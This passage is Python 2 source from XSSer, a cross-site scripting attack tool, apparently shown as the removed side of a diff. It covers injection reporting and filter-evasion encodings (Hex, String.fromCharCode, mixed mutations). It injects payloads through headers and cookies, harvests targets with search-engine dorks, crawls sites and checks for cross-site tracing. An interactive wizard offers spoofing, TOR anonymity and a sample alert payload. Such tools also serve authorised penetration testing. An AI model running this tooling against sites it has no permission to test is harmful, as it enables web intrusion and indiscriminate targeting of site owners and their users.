- self.final_attacks[hashing] = {'url': tok_url}
- if tok_url:
- try:
- if self.options.reverseopen:
- self.report("\n" + "-"*25+"\n")
- self.report("[Info] Launching web browser (default) with a 'token' url...")
- self._webbrowser.open(tok_url)
- except:
- pass
- def _report_attack_failure(self, curl_handle, dest_url, payload,\
- query_string, orig_url):
- """
- report connection failure of an attack
- """
- options = self.options
- current_hashes = [] # to check for ongoing hashes
- if payload['browser'] == "[Heuristic test]":
- for key, value in self.hashed_injections.iteritems():
- if key not in current_hashes:
- self.final_hashes[key] = value
- current_hashes.append(key)
- elif self.options.hash:
- for key, value in self.hashed_injections.iteritems():
- self.final_hashes[key] = value
- current_hashes.append(key)
- else:
- self.report("-"*45)
- self.report("\n[!] Hashing: \n")
- for key, value in self.hashed_injections.iteritems():
- if str(key) in str(dest_url): # GET
- if key not in current_hashes:
- self.report(" [ " +key+" ] : [" , value + " ]")
- self.final_hashes[key] = value
- current_hashes.append(key)
- else:
- if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
- b64_string = payload["payload"].split("[B64]")
- b64_string = b64_string[1]
- b64_string = b64_string.replace('PAYLOAD', key)
- b64_string = b64encode(b64_string)
- b64_string = urllib.urlencode({'':b64_string})
- if b64_string.startswith("="):
- b64_string = b64_string.replace("=", "")
- if str(b64_string) in str(dest_url):
- if key not in current_hashes:
- self.report(" [ " +key+" ] : [" , value + " ]")
- self.final_hashes[key] = value
- current_hashes.append(key)
- else: # when using encoders (Str, Hex, Dec...)
- payload_string = payload["payload"].replace("PAYLOAD", key)
- hashed_payload = self.encoding_permutations(payload_string)
- if self.options.Cem:
- enc_perm = options.Cem.split(",")
- for e in enc_perm:
- hashed_payload = self.encoding_permutations(payload_string)
- if e == "Str":
- hashed_payload = hashed_payload.replace(",", "%2C")
- if e == "Mix":
- hashed_payload=urllib.quote(hashed_payload)
- if e == "Dec":
- hashed_payload = hashed_payload.replace("&#", "%26%23")
- if e == "Hex":
- hashed_payload = hashed_payload.replace("%", "%25")
- if e == "Hes":
- hashed_payload = hashed_payload.replace("&#", "%26%23")
- hashed_payload = hashed_payload.replace(";", "%3B")
- else:
- if self.options.Str:
- hashed_payload = hashed_payload.replace(",", "%2C")
- if self.options.Mix:
- hashed_payload=urllib.quote(hashed_payload)
- if self.options.Dec:
- hashed_payload = hashed_payload.replace("&#", "%26%23")
- if self.options.Hex:
- hashed_payload = hashed_payload.replace("%", "%25")
- if self.options.Hes:
- hashed_payload = hashed_payload.replace("&#", "%26%23")
- hashed_payload = hashed_payload.replace(";", "%3B")
- if str(hashed_payload) in str(dest_url):
- if key not in current_hashes:
- self.report(" [ " +key+" ] : [" , value + " ]")
- self.final_hashes[key] = value
- current_hashes.append(key)
- if self.extra_hashed_injections:
- for k, v in self.extra_hashed_injections.iteritems():
- payload_url = str(v[1])
- if payload_url == payload["payload"]:
- if k not in current_hashes:
- self.report(" [ " +k+" ] : [" , v[0] + " ]")
- self.final_hashes[k] = v[0]
- current_hashes.append(k)
- self.report("\n"+"-"*45+"\n")
- if payload['browser'] == "[Heuristic test]":
- self.report("[+] Checking: " + str(payload['payload']).strip('XSS'), "\n")
- else:
- if self.extra_hashed_injections:
- extra_attacks=[]
- if options.xsa:
- extra_attacks.append("XSA")
- if options.xsr:
- extra_attacks.append("XSR")
- if options.coo:
- extra_attacks.append("COO")
- if extra_attacks:
- extra_attacks = "+ "+ str(extra_attacks)
- if options.postdata:
- self.report("[*] Trying: " + extra_attacks + "\n\n" + orig_url.strip(), "(POST:", query_string + ") \n")
- else:
- self.report("[*] Trying: " + extra_attacks + "\n\n" + dest_url.strip()+"\n")
- else:
- if options.postdata:
- self.report("[*] Trying: \n\n" + orig_url.strip(), "(POST:", query_string + ")\n")
- else:
- self.report("[*] Trying: \n\n" + dest_url.strip()+"\n")
- if not self.options.hash and not self.options.script:
- if not "XSS" in dest_url or not "X1S" in dest_url and self.options.xsa or self.options.xsr or self.options.coo:
- pass
- else:
- self.report("-"*45)
- if payload['browser'] == "[Heuristic test]" or payload['browser'] == "[hashed_precheck_system]" or payload['browser'] == "[manual_injection]":
- pass
- else:
- if not "XSS" in dest_url or not "X1S" in dest_url:
- if self.options.xsa or self.options.xsr or self.options.coo:
- pass
- else:
- self.report("-"*45)
- self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
- if not self.options.verbose:
- self.report("-"*45 + "\n")
- else:
- self.report("-"*45)
- self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
- if not self.options.verbose:
- self.report("-"*45 + "\n")
- # statistics injections counters
- if payload['browser']=="[hashed_precheck_system]" or payload['browser']=="[Heuristic test]":
- self.check_positives = self.check_positives + 1
- elif payload['browser']=="[Data Control Protocol Injection]":
- self.dcp_injection = self.dcp_injection + 1
- elif payload['browser']=="[Document Object Model Injection]":
- self.dom_injection = self.dom_injection + 1
- elif payload['browser']=="[Induced Injection]":
- self.httpsr_injection = self.httpsr_injection + 1
- elif payload['browser']=="[manual_injection]":
- self.manual_injection = self.manual_injection + 1
- else:
- self.auto_injection = self.auto_injection +1
- if not self.hashed_injections:
- for k, v in self.extra_hashed_injections.iteritems():
- if k in current_hashes:
- if v[0] == "XSA":
- agent = v[1]
- agent = agent.replace("PAYLOAD", k)
- Curl.agent = agent
- if v[0] == "XSR":
- referer = v[1]
- referer = referer.replace("PAYLOAD", k)
- Curl.referer = referer
- if v[0] == "COO":
- cookie = v[1]
- cookie = cookie.replace("PAYLOAD", k)
- Curl.cookie = cookie
- else:
- for key, value in self.hashed_injections.iteritems():
- for k, v in self.extra_hashed_injections.iteritems():
- payload_url = v[1]
- payload_url = payload_url.replace("PAYLOAD",key)
- payload_url = payload_url.replace(" ", "+") # black magic!
- final_dest_url = str(urllib.unquote(dest_url.strip()))
- if payload_url in final_dest_url:
- if v[0] == "XSA":
- agent = v[1]
- agent = agent.replace("PAYLOAD", k)
- Curl.agent = agent
- if v[0] == "XSR":
- referer = v[1]
- referer = referer.replace("PAYLOAD", k)
- Curl.referer = referer
- if v[0] == "COO":
- cookie = v[1]
- cookie = cookie.replace("PAYLOAD", k)
- Curl.cookie = cookie
- else:
- if k in current_hashes:
- if v[0] == "XSA":
- agent = v[1]
- agent = agent.replace("PAYLOAD", k)
- Curl.agent = agent
- if v[0] == "XSR":
- referer = v[1]
- referer = referer.replace("PAYLOAD", k)
- Curl.referer = referer
- if v[0] == "COO":
- cookie = v[1]
- cookie = cookie.replace("PAYLOAD", k)
- Curl.cookie = cookie
- if options.verbose:
- self.report("-"*45)
- self.report("\n[+] HTTP Headers Verbose:\n")
- self.report(" [Client Request]")
- Curl.print_options()
- self.report(" [Server Reply]\n")
- self.report(curl_handle.info())
- self.report("="*45)
- self.report("[*] Injection(s) Results:")
- self.report("="*45 + "\n")
- if payload['browser']=="[Heuristic test]":
- for key, value in self.final_hashes.iteritems():
- if str(key) in dest_url:
- heuristic_string = key
- heuristic_param = str(payload['payload']).strip('XSS')
- if heuristic_param == "\\":
- self.heuris_backslash_notfound = self.heuris_backslash_notfound + 1
- elif heuristic_param == "/":
- self.heuris_slash_notfound = self.heuris_slash_notfound + 1
- elif heuristic_param == ">":
- self.heuris_mayor_notfound = self.heuris_mayor_notfound + 1
- elif heuristic_param == "<":
- self.heuris_minor_notfound = self.heuris_minor_notfound + 1
- elif heuristic_param == ";":
- self.heuris_semicolon_notfound = self.heuris_semicolon_notfound + 1
- elif heuristic_param == "'":
- self.heuris_colon_notfound = self.heuris_colon_notfound + 1
- elif heuristic_param == '"':
- self.heuris_doublecolon_notfound = self.heuris_doublecolon_notfound + 1
- elif heuristic_param == "=":
- self.heuris_equal_notfound = self.heuris_equal_notfound + 1
- self.add_failure(dest_url, heuristic_param, value, query_string, orig_url, 'heuristic') # heuristic fail
- elif self.options.hash:
- for key, value in self.final_hashes.iteritems():
- self.add_failure(dest_url, key, value, query_string, orig_url, 'hashing check') # hashing_check fail
- self.report("\n" +"="*45)
- else:
- for key, value in self.final_hashes.iteritems():
- if "XSA" in value:
- method = "xsa"
- hashing = key
- elif "XSR" in value:
- method = "xsr"
- hashing = key
- elif "COO" in value:
- method = "coo"
- hashing = key
- else:
- method = "url"
- hashing = key
- if self.options.Str:
- payload_string = payload["payload"].replace("PAYLOAD", key)
- hashed_payload = self.encoding_permutations(payload_string)
- hashed_payload = hashed_payload.replace(",", "%2C")
- if str(hashed_payload) in str(dest_url):
- self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
- elif self.options.Mix:
- payload_string = payload["payload"].replace("PAYLOAD", key)
- hashed_payload = self.encoding_permutations(payload_string)
- hashed_payload=urllib.quote(hashed_payload)
- if str(hashed_payload) in str(dest_url):
- self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
- elif self.options.Dec:
- payload_string = payload["payload"].replace("PAYLOAD", key)
- hashed_payload = self.encoding_permutations(payload_string)
- hashed_payload = hashed_payload.replace("&#", "%26%23")
- if str(hashed_payload) in str(dest_url):
- self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
- elif self.options.Hex:
- payload_string = payload["payload"].replace("PAYLOAD", key)
- hashed_payload = self.encoding_permutations(payload_string)
- hashed_payload = hashed_payload.replace("%", "%25")
- if str(hashed_payload) in str(dest_url):
- self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
- elif self.options.Hes:
- payload_string = payload["payload"].replace("PAYLOAD", key)
- hashed_payload = self.encoding_permutations(payload_string)
- hashed_payload = hashed_payload.replace("&#", "%26%23")
- hashed_payload = hashed_payload.replace(";", "%3B")
- if str(hashed_payload) in str(dest_url):
- self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
- else:
- if self.options.Cem:
- enc_perm = options.Cem.split(",")
- payload_string = payload["payload"].replace("PAYLOAD", key)
- for e in enc_perm:
- hashed_payload = self.encoding_permutations(payload_string)
- if str(e) == "Str":
- hashed_payload = hashed_payload.replace(",", "%2C")
- if e == "Mix":
- hashed_payload=urllib.quote(hashed_payload)
- if e == "Dec":
- hashed_payload = hashed_payload.replace("&#", "%26%23")
- if e == "Hex":
- hashed_payload = hashed_payload.replace("%", "%25")
- if e == "Hes":
- hashed_payload = hashed_payload.replace("&#", "%26%23")
- hashed_payload = hashed_payload.replace(";", "%3B")
- if str(hashed_payload) in str(dest_url):
- self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
- else:
- if str(key) in str(dest_url):
- self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
- else:
- if key in current_hashes:
- if method == "xsa":
- self.add_failure(dest_url, payload, key, query_string, orig_url, "XSA") # failed!
- elif method == "xsr":
- self.add_failure(dest_url, payload, key, query_string, orig_url, "XSR") # failed!
- elif method == "coo":
- self.add_failure(dest_url, payload, key, query_string, orig_url, "COO") # failed!
- self.report("\n" +"="*45)
- if str(curl_handle.info()["http-code"]) == "404":
- self.report("\n[Error] 404 Not Found: The server has not found anything matching the Request-URI\n")
- elif str(curl_handle.info()["http-code"]) == "403":
- self.report("\n[Error] 403 Forbidden: The server understood the request, but is refusing to fulfill it\n")
- elif str(curl_handle.info()["http-code"]) == "400":
- self.report("\n[Error] 400 Bad Request: The request could not be understood by the server due to malformed syntax\n")
- elif str(curl_handle.info()["http-code"]) == "401":
- self.report("\n[Error] 401 Unauthorized: The request requires user authentication\n\nIf you are trying to authenticate: Login is failing!\n\ncheck:\n- authentication type is correct for the type of realm (basic, digest, gss, ntlm...)\n- credentials 'user:password' are typed correctly\n")
- elif str(curl_handle.info()["http-code"]) == "407":
- self.report("\n[Error] 407 Proxy Authentication Required: XSSer must first authenticate itself with the proxy\n")
- elif str(curl_handle.info()["http-code"]) == "408":
- self.report("\n[Error] 408 Request Timeout: XSSer did not produce a request within the time that the server was prepared to wait\n")
- elif str(curl_handle.info()["http-code"]) == "500":
- self.report("\n[Error] 500 Internal Server Error: The server encountered an unexpected condition which prevented it from fulfilling the request\n")
- elif str(curl_handle.info()["http-code"]) == "501":
- self.report("\n[Error] 501 Not Implemented: The server does not support the functionality required to fulfill the request\n")
- elif str(curl_handle.info()["http-code"]) == "502":
- self.report("\n[Error] 502 Bad Gateway: The server received an invalid response from the upstream server\n")
- elif str(curl_handle.info()["http-code"]) == "503":
- self.report("\n[Error] 503 Service Unavailable: The server is currently unable to handle the request [OFFLINE!]\n")
- elif str(curl_handle.info()["http-code"]) == "504":
- self.report("\n[Error] 504 Gateway Timeout: The server did not receive a timely response specified by the URI (try: --ignore-proxy)\n")
- elif str(curl_handle.info()["http-code"]) == "0":
- self.report("\n[Error] XSSer (or your TARGET) is not working properly...\n\n - Firewall\n - Proxy\n - Target offline\n - [?] ...\n")
- else:
- self.report("\n[Error] Not injected!. Server responses with http-code different to: 200 OK (" + str(curl_handle.info()["http-code"]) + ")\n")
- if str(curl_handle.info()["http-code"]) == "404":
- self.not_connection = self.not_connection + 1
- elif str(curl_handle.info()["http-code"]) == "503":
- self.forwarded_connection = self.forwarded_connection + 1
- else:
- self.other_connection = self.other_connection + 1
- def check_positive(self, curl_handle, dest_url, payload, query_string):
- """
- Perform extra check for positives
- """
- body = curl_handle.body()
- pass
- def create_options(self, args=None):
- """
- Create options for OptionParser.
- """
- self.optionParser = XSSerOptions()
- self.options = self.optionParser.get_options(args)
- if not self.options:
- return False
- return self.options
- def _get_attack_urls(self):
- """
- Process payload options and make up the payload list for the attack.
- """
- urls = []
- options = self.options
- p = self.optionParser
- if options.imx:
- self.create_fake_image(options.imx, options.script)
- return []
- if options.flash:
- self.create_fake_flash(options.flash, options.script)
- return []
- if options.update:
- self.report('='*75)
- self.report(str(p.version))
- self.report('='*75)
- try:
- print("\nTrying to update to the latest stable version...\n")
- Updater()
- except:
- print("\nSomething was wrong!. You should clone XSSer manually with:\n")
- print("$ git clone https://code.03c8.net/epsylon/xsser\n")
- print "\nAlso you can try this other mirror:\n"
- print "$ git clone https://github.com/epsylon/xsser\n"
- return []
-
- if options.wizard: # processing wizard template
- if self.user_template is not None:
- self.options.statistics = True # detailed output
- if self.user_template[0] == "DORKING": # mass-dorking
- self.options.dork_file = True
- self.options.dork_mass = True
- elif "http" in self.user_template[0]: # from target url
- self.options.url = self.user_template[0]
- else: # from file
- self.options.readfile = self.user_template[0]
- if self.user_template[1] == "CRAWLER": # crawlering target
- self.options.crawling = "10"
- else: # manual payload (GET or POST)
- if self.user_template_conntype == "GET":
- self.options.getdata = self.user_template[1]
- else:
- self.options.postdata = self.user_template[1]
- if self.user_template[2] == "Proxy: No - Spoofing: Yes":
- self.options.ignoreproxy = True
- self.options.agent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search" # spoof agent
- self.options.referer = "127.0.0.1" # spoof referer
- elif self.user_template[2] == "Proxy: No - Spoofing: No":
- self.options.ignoreproxy = True
- else: # using proxy + spoofing
- self.options.agent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search" # spoof agent
- self.options.referer = "127.0.0.1" # spoof referer
- if self.user_template[2] is not None:
- self.options.proxy = self.user_template[2]
- else:
- self.options.ignoreproxy = True
- if self.user_template[3] == "Not using encoders":
- pass
- elif self.user_template[3] == "Hex": # Hexadecimal
- self.options.Hex = True
- elif self.user_template[3] == "Str+Une": # StringFromCharCode()+Unescape()
- self.options.Str = True
- self.options.Une = True
- else: # Character encoding mutations
- self.options.Cem = self.user_template[3]
- if self.user_template[4] == "Alertbox": # Classic AlertBox injection
- self.options.finalpayload = "<script>alert('XSS');</script>"
- else:
- if self.user_template[4] is not None: # Inject user script
- self.options.finalpayload = self.user_template[4]
- else: # not final injection
- pass
- else: # exit
- return
- if options.target: # miau!
- self.report('='*75)
- self.report(str(p.version))
- self.report('='*75)
- self.report("Testing [Full XSS audit]... ;-)")
- self.report('='*75)
- self.report("\n[Info] The following actions will be performed at the end:\n")
- self.report(" 1- Output with detailed statistics\n")
- self.report(" 2- Export results to files: \n\n - a) XSSreport.raw \n - b) XSSer_<target>_<datetime>.xml\n")
- self.options.crawling = "99999" # set max num of urls to crawl
- self.options.crawler_width = "5" # set max num of deeping levels
- self.options.statistics = True # detailed output
- self.options.timeout = "60" # timeout
- self.options.retries = "2" # retries
- self.options.delay = "5" # delay
- self.options.threads = "10" # threads
- self.options.followred = True # follow redirs
- self.options.nohead = False # HEAD check
- self.options.reversecheck = True # try to establish a reverse connection
- self.options.fuzz = True # autofuzzing
- self.options.coo = True # COO
- self.options.xsa = True # XSA
- self.options.xsr = True # XSR
- self.options.dcp = True # DCP
- self.options.dom = True # DOM
- self.options.inducedcode = True # Induced
- self.options.fileoutput = True # Important: export results to file (.raw)
- self.options.filexml = "XSSer_" + str(self.options.target) + "_" + str(datetime.datetime.now())+".xml" # export xml
- self.check_trace() # XST
- urls = [options.target]
- if options.url:
- self.report('='*75)
- self.report(str(p.version))
- self.report('='*75)
- if self.options.crawling:
- self.report("Testing [XSS from CRAWLER]...")
- else:
- self.report("Testing [XSS from URL]...")
- self.report('='*75)
- urls = [options.url]
- elif options.readfile:
- self.report('='*75)
- self.report(str(p.version))
- self.report('='*75)
- self.report("Testing [XSS from FILE]...")
- self.report('='*75)
- try:
- f = open(options.readfile)
- urls = f.readlines()
- urls = [ line.replace('\n','') for line in urls ]
- f.close()
- except:
- import os.path
- if os.path.exists(options.readfile) == True:
- self.report('\nThere are some errors opening the file: ', options.readfile, "\n")
- else:
- self.report('\nCannot found file: ', options.readfile, "\n")
- elif options.dork: # dork a query
- self.report('='*75)
- self.report(str(p.version))
- self.report('='*75)
- self.report("Testing [XSS from DORK]... Good luck! ;-)")
- self.report('='*75)
- if options.dork_mass: # massive dorkering
- for e in self.search_engines:
- try:
- dorker = Dorker(e)
- urls = dorker.dork(options.dork)
- i = 0
- for u in urls: # replace original parameter for injection keyword (XSS)
- p_uri = urlparse(u)
- uri = p_uri.netloc
- path = p_uri.path
- target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
- for key, value in target_params.iteritems(): # parse params to apply keywords
- for v in value:
- target_params[key] = 'XSS'
- target_url_params = urllib.urlencode(target_params)
- u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
- urls[i] = u
- i = i + 1
- except Exception, e:
- for reporter in self._reporters:
- reporter.mosquito_crashed(dorker.search_url, str(e.message))
- else:
- if urls is not None:
- for url in urls:
- for reporter in self._reporters:
- reporter.add_link(dorker.search_url, url)
- else:
- if not options.dork_engine:
- options.dork_engine = 'duck' # default search engine [26-08/2019]
- dorker = Dorker(options.dork_engine)
- try:
- urls = dorker.dork(options.dork)
- i = 0
- for u in urls: # replace original parameter for injection keyword (XSS)
- p_uri = urlparse(u)
- uri = p_uri.netloc
- path = p_uri.path
- target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
- for key, value in target_params.iteritems(): # parse params to apply keywords
- for v in value:
- target_params[key] = 'XSS'
- target_url_params = urllib.urlencode(target_params)
- u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
- urls[i] = u
- i = i + 1
- except Exception, e:
- for reporter in self._reporters:
- reporter.mosquito_crashed(dorker.search_url, str(e.message))
- else:
- if urls is not None:
- for url in urls:
- for reporter in self._reporters:
- reporter.add_link(dorker.search_url, url)
- elif options.dork_file: # dork from file ('core/fuzzing/dorks.txt')
- self.report('='*75)
- self.report(str(p.version))
- self.report('='*75)
- self.report("Testing [XSS from DORK]... Good luck! ;-)")
- self.report('='*75)
- try:
- f = open('core/fuzzing/dorks.txt')
- dorks = f.readlines()
- dorks = [ dork.replace('\n','') for dork in dorks ]
- f.close()
- if not dorks:
- print "\n[Error] - Imposible to retrieve 'dorks' from file.\n"
- return
- except:
- if os.path.exists('core/fuzzing/dorks.txt') == True:
- print '[Error] - Cannot open:', 'dorks.txt', "\n"
- return
- else:
- print '[Error] - Cannot found:', 'dorks.txt', "\n"
- return
- if not options.dork_engine:
- options.dork_engine = 'duck' # default search engine [26-08/2019]
- if options.dork_mass: # massive dorkering
- for e in self.search_engines:
- try:
- dorker = Dorker(e)
- for dork in dorks:
- urls = dorker.dork(dork)
- i = 0
- for u in urls: # replace original parameter for injection keyword (XSS)
- p_uri = urlparse(u)
- uri = p_uri.netloc
- path = p_uri.path
- target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
- for key, value in target_params.iteritems(): # parse params to apply keywords
- for v in value:
- target_params[key] = 'XSS'
- target_url_params = urllib.urlencode(target_params)
- u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
- urls[i] = u
- i = i + 1
- except Exception, e:
- for reporter in self._reporters:
- reporter.mosquito_crashed(dorker.search_url, str(e.message))
- else:
- if urls is not None:
- for url in urls:
- for reporter in self._reporters:
- reporter.add_link(dorker.search_url, url)
- else:
- dorker = Dorker(options.dork_engine)
- try:
- for dork in dorks:
- urls = dorker.dork(dork)
- i = 0
- for u in urls: # replace original parameter for injection keyword (XSS)
- p_uri = urlparse(u)
- uri = p_uri.netloc
- path = p_uri.path
- target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
- for key, value in target_params.iteritems(): # parse params to apply keywords
- for v in value:
- target_params[key] = 'XSS'
- target_url_params = urllib.urlencode(target_params)
- u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
- urls[i] = u
- i = i + 1
- except Exception, e:
- for reporter in self._reporters:
- reporter.mosquito_crashed(dorker.search_url, str(e.message))
- else:
- if urls is not None:
- for url in urls:
- for reporter in self._reporters:
- reporter.add_link(dorker.search_url, url)
- if options.crawling: # crawlering target(s)
- nthreads = options.threads
- self.crawled_urls = list(urls)
- all_crawled = []
- try:
- self.options.crawling = int(self.options.crawling)
- except:
- self.options.crawling = 50
- if self.options.crawler_width == None:
- self.options.crawler_width = 2 # default crawlering-width
- else:
- try:
- self.options.crawler_width = int(self.options.crawler_width)
- except:
- self.options.crawler_width = 2 # default crawlering-width
- if self.options.crawler_local == None:
- self.options.crawler_local = False # default crawlering to LOCAL
- for url in set(urls):
- self.report("\n[Info] Crawlering TARGET:", url, "\n\n - Max. limit: "+ str(self.options.crawling)+ " \n - Deep level: "+ str(options.crawler_width))
- crawler = Crawler(self, Curl, all_crawled,
- self.pool)
- crawler.set_reporter(self)
- # now wait for all results to arrive
- while urls:
- self.run_crawl(crawler, urls.pop(), options)
- while not self._landing:
- for reporter in self._reporters:
- reporter.report_state('broad scanning')
- try:
- self.pool.poll()
- except NoResultsPending:
- crawler.cancel()
- break
- if len(self.crawled_urls) >= int(options.crawling) or not crawler._requests:
- self.report("\n[Info] Found enough results... calling all mosquitoes to home!")
- crawler.cancel()
- break
- time.sleep(0.1)
- # re-parse crawled urls from main
- parsed_crawled_urls = []
- for u in self.crawled_urls:
- if "XSS" in u:
- parsed_crawled_urls.append(u)
- else:
- pass
- self.crawled_urls = parsed_crawled_urls
- # report parsed crawled urls
- self.report("\n" + "-"*25)
- self.report("\n[Info] Mosquitoes have found: [ " + str(len(self.crawled_urls)) + " ] possible attacking vector(s)")
- if self.options.verbose:
- self.report("")
- for u in self.crawled_urls:
- if '/XSS' in u:
- u = u.replace("/XSS", "")
- print " - " + str(u)
- if len(self.crawled_urls) > 0:
- self.report("")
- else:
- self.report("-"*25)
- self.report("\n[Error] XSSer (or your TARGET) is not working properly...\n\n - Firewall\n - Proxy\n - Target offline\n - [?] ...\n")
- return self.crawled_urls
- if not options.imx or not options.flash or not options.xsser_gtk or not options.update:
- return urls
-
- def run_crawl(self, crawler, url, options):
- def _cb(request, result):
- pass
- def _error_cb(request, error):
- for reporter in self._reporters:
- reporter.mosquito_crashed(url, str(error[0]))
- traceback.print_tb(error[2])
- def crawler_main(args):
- return crawler.crawl(*args)
- crawler.crawl(url, int(options.crawler_width),
- int(options.crawling),options.crawler_local)
-
- def poll_workers(self):
- try:
- self.pool.poll()
- except NoResultsPending:
- pass
- def try_running(self, func, error, args=[]):
- """
- Try running a function and print some error if it fails and exists with
- a fatal error.
- """
- try:
- return func(*args)
- except Exception, e:
- self.report(error)
- if DEBUG:
- traceback.print_exc()
-
- def check_trace(self):
- """
- Check for Cross Site Tracing (XST) vulnerability:
- 1) check HTTP TRACE method enabled (add 'Max-Forwards: 0' to curl command to bypass some 'Anti-antixst' web proxy rules)
- 2) check data sent on reply
- """
- agents = [] # user-agents
- try:
- f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
- except:
- f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
- for line in f:
- agents.append(line)
- agent = random.choice(agents).strip() # set random user-agent
- referer = '127.0.0.1'
- import subprocess, shlex
- self.report('='*75)
- self.report("\n[Info] Trying method: Cross Site Tracing (XST)\n")
- if self.options.xst:
- xst = subprocess.Popen(shlex.split('curl -q -s -i -m 30 -A ' + agent + ' -e ' + referer + ' -X TRACE ' + self.options.xst), stdout=subprocess.PIPE)
- if self.options.target:
- xst = subprocess.Popen(shlex.split('curl -q -s -i -m 30 -A ' + agent + ' -e ' + referer + ' -X TRACE ' + self.options.target), stdout=subprocess.PIPE)
- line1 = xst.stdout.readline()
- if self.options.verbose:
- print "-"*25 + "\n"
- while True:
- line = xst.stdout.readline()
- if line != '':
- print line.rstrip()
- else:
- break
- self.report("")
- self.report('-'*50+"\n")
- if "200 OK" in line1.rstrip():
- print "[Info] Target is vulnerable to XST! (Cross Site Tracing) ;-)\n"
- else:
- print "[Info] Target is NOT vulnerable to XST (Cross Site Tracing) ;-(\n"
- if self.options.target:
- self.report('='*75)
-
- def start_wizard(self):
- """
- Start Wizard Helper
- """
- #step 0: Menu
- ans1=True
- ans2=True
- ans3=True
- ans4=True
- ans5=True
- ans6=True
- #step 1: Where
- while ans1:
- print("""\nA)- Where are your targets?\n
- [1]- I want to enter the url of my target directly.
- [2]- I want to enter a list of targets from a .txt file.
- *[3]- I don't know where are my target(s)... I just want to explore! :-)
- [e]- Exit/Quit/Abort.
- """)
- ans1 = raw_input("Your choice: [1], [2], [3] or [e]xit\n")
- if ans1 == "1": # from url
- url = raw_input("Target url (ex: http(s)://target.com): ")
- if url.startswith("http"):
- ans1 = None
- else:
- print "\n[Error] Your url is not valid!. Try again!"
- pass
- elif ans1 == "2": # from file
- url = raw_input("Path to file (ex: 'targets_list.txt'): ")
- if url == None:
- print "\n[Error] Your are not providing a valid file. Try again!"
- pass
- else:
- ans1 = None
- elif ans1 == "3": # dorking
- url = "DORKING"
- ans1 = None
- elif (ans1 == "e" or ans1 == "E"):
- print "Closing wizard..."
- ans1=None
- ans2=None
- ans3=None
- ans4=None
- ans5=None
- ans6=None
- else:
- print "\nNot valid choice. Try again!"
- #step 2: How
- while ans2:
- print 22*"-"
- print("""\nB)- How do you want to connect?\n
- [1]- I want to connect using GET and select some possible vulnerable parameter(s) directly.
- [2]- I want to connect using POST and select some possible vulnerable parameter(s) directly.
- [3]- I want to "crawl" all the links of my target(s) to found as much vulnerabilities as possible.
- *[4]- I don't know how to connect... Just do it! :-)
- [e]- Exit/Quit/Abort.
- """)
- ans2 = raw_input("Your choice: [1], [2], [3], [4] or [e]xit\n")
- if ans2 == "1": # using GET
- payload = raw_input("GET payload (ex: '/menu.php?q='): ")
- if payload == None:
- print "\n[Error] Your are providing an empty payload. Try again!"
- pass
- else:
- self.user_template_conntype = "GET"
- ans2 = None
- elif ans2 == "2": # using POST
- payload = raw_input("POST payload (ex: 'foo=1&bar='): ")
- if payload == None:
- print "\n[Error] Your are providing an empty payload. Try again!"
- pass
- else:
- self.user_template_conntype = "POST"
- ans2 = None
- elif ans2 == "3": # crawlering
- payload = "CRAWLER"
- ans2 = None
- elif ans2 == "4": # crawlering
- payload = "CRAWLER"
- ans2 = None
- elif (ans2 == "e" or ans2 == "E"):
- print "Closing wizard..."
- ans2=None
- ans3=None
- ans4=None
- ans5=None
- ans6=None
- else:
- print "\nNot valid choice. Try again!"
- #step 3: Proxy
- while ans3:
- print 22*"-"
- print("""\nC)- Do you want to be 'anonymous'?\n
- [1]- Yes. I want to use my proxy and apply automatic spoofing methods.
- [2]- Anonymous?. Yes!!!. I have a TOR proxy ready at: http://127.0.0.1:8118.
- *[3]- Yes. But I haven't any proxy. :-)
- [4]- No. It's not a problem for me to connect directly to the target(s).
- [e]- Exit/Quit.
- """)
- ans3 = raw_input("Your choice: [1], [2], [3], [4] or [e]xit\n")
- if ans3 == "1": # using PROXY + spoofing
- proxy = raw_input("Enter proxy [http(s)://server:port]: ")
- ans3 = None
- elif ans3 == "2": # using TOR + spoofing
- proxy = 'Using TOR (default: http://127.0.0.1:8118)'
- proxy = 'http://127.0.0.1:8118'
- ans3 = None
- elif ans3 == "3": # only spoofing
- proxy = 'Proxy: No - Spoofing: Yes'
- ans3 = None
- elif ans3 == "4": # no spoofing
- proxy = 'Proxy: No - Spoofing: No'
- ans3 = None
- elif (ans3 == "e" or ans3 == "E"):
- print "Closing wizard..."
- ans3=None
- ans4=None
- ans5=None
- ans6=None
- else:
- print "\nNot valid choice. Try again!"
- #step 4: Bypasser(s)
- while ans4:
- print 22*"-"
- print("""\nD)- Which 'bypasser(s' do you want to use?\n
- [1]- I want to inject XSS scripts without any encoding.
- [2]- Try to inject code using 'Hexadecimal'.
- [3]- Try to inject code mixing 'String.FromCharCode()' and 'Unescape()'.
- [4]- I want to inject using 'Character Encoding Mutations' (Une+Str+Hex).
- *[5]- I don't know exactly what is a 'bypasser'... But I want to inject code! :-)
- [e]- Exit/Quit.
- """)
- ans4 = raw_input("Your choice: [1], [2], [3], [4], [5] or [e]xit\n")
- if ans4 == "1": # no encode
- enc = "Not using encoders"
- ans4 = None
- elif ans4 == "2": # enc: Hex
- enc = 'Hex'
- ans4 = None
- elif ans4 == "3": # enc: Str+Une
- enc = 'Str+Une'
- ans4 = None
- elif ans4 == "4": # enc: Mix: Une+Str+Hex
- enc = "Une,Str,Hex"
- ans4 = None
